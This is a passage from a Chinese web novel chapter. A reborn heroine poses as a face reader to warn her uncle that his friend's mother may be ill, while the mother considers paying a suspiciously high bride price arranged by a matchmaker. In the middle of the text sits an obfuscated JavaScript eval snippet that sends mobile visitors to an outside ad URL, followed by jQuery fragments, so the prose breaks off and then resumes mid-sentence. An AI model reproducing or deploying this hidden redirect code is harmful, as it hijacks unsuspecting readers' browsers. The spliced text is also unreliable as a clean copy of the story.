想到这里,徐荷叶再也坐不住了。吕俊虽然错手杀了人,但他真的不是坏人。况且他还是小舅舅的朋友,冲着小舅舅的面子,她也不能任由吕母重病被骗,吕俊追凶杀人。
趁着母亲去铺床,徐荷叶找到舅舅。
她扯了扯董福运的衣袖,小声道:“舅舅,我会相面。”
徐荷叶其实不会。
上一世,母亲早早去世。她心里悲痛,无处寄托。后来在天桥底下遇到一个算命的,人家看她的面相说的。为此徐荷叶还给了两百块钱。
再后来,网络发达,各种知识都能从网上得到,徐荷叶才发现那算命的说得完全是一套模板,话术都差不多。
不过她还是因此记了下来。
董福运:“……”
他狐疑地看了眼外甥女,他们董家什么时候有神婆的传统了,难不成这是老徐家传下来的基因?
“舅舅,父母寿数哪里瞧,日月角上自分明。男子左边的日角代表父亲,吕俊叔的左日角塌陷,说明他父亲早逝。
右边的月角代表母亲,吕俊叔的右月角灰暗不明,这说明吕妈妈可能正在生病。舅舅,你要提醒下吕俊叔,让他多注意吕妈妈的身体,并且要防范小人。”
董福运失笑:“你这丫头瞎说什么呢?吕俊的父亲虽然早逝,但是吕妈妈我们前两天才去看过她,可没听说她生病了——”
董福运说着,话音一顿。他突然想起来,饭桌上可没谁说过吕俊家里的情况,但是荷叶这丫头却知道吕俊家里只有一个寡母。
难不成吕妈妈真的生病了,只是还没发现?或者说发现了但没有告诉吕俊?想到吕妈妈报喜不报忧的性子,董福运也不确定了。
徐荷叶接着道:“舅舅,很多疾病,没有去医院确诊前身体也会给出反应的。比如肝硬化的人,面色会比正常人黑黄,时常腹部不适,而且食欲不振,消化不良。”
诈骗之事不知道现在有没有开始,但是生病在面色上肯定有反应。
董福运一惊,仔细回忆上次去吕家时吕妈妈的脸色,好像是黑黄了些。而且上个月,吕俊还去诊所给吕妈妈拿了助消化的药。
“荷叶,和你妈妈说一声,舅舅有事先走了。”涉及吕妈妈的身体,董福运不敢轻忽,抛下一句话,拔腿就跑。
他得去提醒吕俊一声,让他带吕妈妈去医院看看。没病最好,若是真生病了也好尽早治疗。
徐荷叶看着董福运跑远的背影,叹了口气,也不知道现在提醒还来不来得及。
不管怎么说,她已经尽到了自己该尽到的义务,后面的事情只能看吕俊和吕妈妈自己的选择了。
董桃花把被褥铺好,从屋里出来,没见到董福运,诧异道:“你舅舅呢?”
她还打算把董福运买家具的钱给他呢。
虽说是旧家具,但也不愁卖,那么多东西,要的钱可不少。估摸着这小子自己的钱都不够,可能还有些是从他那些朋友手里借的。
徐荷叶道:“舅舅有事先走了。”
“那行吧,只能明天再给他了。”床褥都有了,母女俩干脆留在出租屋里睡下,也懒得再回董家看老董和王素梅他们的脸色。
另一边,董福运很快赶到了吕家,把外甥女说的话和吕俊说了一遍。
看相什么的,董福运是不怎么相信,但涉及吕妈妈的身体,宁可多做无用功,不可事后来后悔。
吕俊刚开始还有点生气,觉得徐荷叶是不是在咒他妈。在听到董福运复述的有关肝硬化的症状表现后,吕俊脸色一沉。
徐荷叶说的这些症状,他妈身上都有。
董福运拍了拍吕俊的肩膀,安慰道:“你先别自己吓自己,阿姨肯定没事的。”
吕俊勉强笑了笑:“大福,借你吉言,你先回家吧,我就不送你了。”
董福运摆手:“不用送,有事别自个人扛,哥们几个虽然没什么能耐,一起出出力还是可以的。”
吕俊点了点头,董福运走后,他才回到家。
吕母不在家,她前些天认识了一个大姐,那大姐是媒婆,做媒特别厉害。
两人一见如故,吕母请那大姐帮他儿子找个模样性情都好的对象。大姐寻摸了徐久,今天终于有了消息。
吕母跟着大姐去瞧过,那姑娘长得是真好看,盘靓条顺,乌发黑亮。谈吐也好,听说是高中生呢。家境也不错,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144804|164667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父亲是隔壁区钢厂的一个小领导。
唯一不足的是那姑娘家要的彩礼高,得三千六百六十八。
要知道这时候一般人家结婚,给的彩礼基本上是三转一响外加两百的彩礼钱,合下来不过六七百块钱,三千六百六十八的彩礼,是人家六倍之多。
可是大姐说得也对,那姑娘各种条件都好,如果不是家里要的彩礼高,早被其他人家娶走了,哪里轮得上她家吕俊。
而且人家女方也说了,这彩礼人家女方父母一分钱不要,回头等小两口成婚了,这钱还是会随女方返回来的。之所以要这么高的彩礼,是为了面子好看。
这钱就是去女方家走个过场。
最重要的是人家父亲是钢厂领导,有门路,吕俊若是能把那姑娘娶回家,人家做岳父的,还能不在钢厂给自家女婿谋个工作?
改革开放后是有很多国营大厂效益不好,落寞了,但钢厂的发展依旧欣欣向荣,员工福利也很好,不知道多少没有工作的青年想进钢厂工作。
若能在钢厂找个工作,那彩礼就算不返回来,吕俊努力工作上个三五年,钱不就回来了?几千块钱,换一个漂亮有文化的新媳妇,还有一个一辈子吃香的工作,划不划算,是个人都会算。
吕母当场就被说动了,只是三千六百多的彩礼毕竟不是小数目,她这一辈子也就攒下了不到五千的积蓄。把彩礼一给,家里那点钱,办个婚礼就啥也不剩了。
可她这病,医生说已经治不好了,就是个等死的命。如果错过了这个机会,她还能去哪儿给吕俊找一个这么好的媳妇?
吕俊他爹早逝,爷爷奶奶那边关系淡漠,她又是个孤儿,等她死了,吕俊连个亲近的人都没有。不趁着她还在,把孩子婚事张罗好,以后她不在了,吕俊怎么办?她又有什么脸面去地底下见吕俊他爹?
吕母想着,慢慢下定了决心。她从口袋里掏出钥匙,去开家门的铁锁,准备拿了存折去银行取钱。
大姐说得对,好姑娘不愁嫁。她不抓紧些,回头被别的男人抢了先,她就是后悔也来不及了。
正想着,大门一下子被推开了。吕母开了灯,却见吕俊坐在黑暗里一动不动。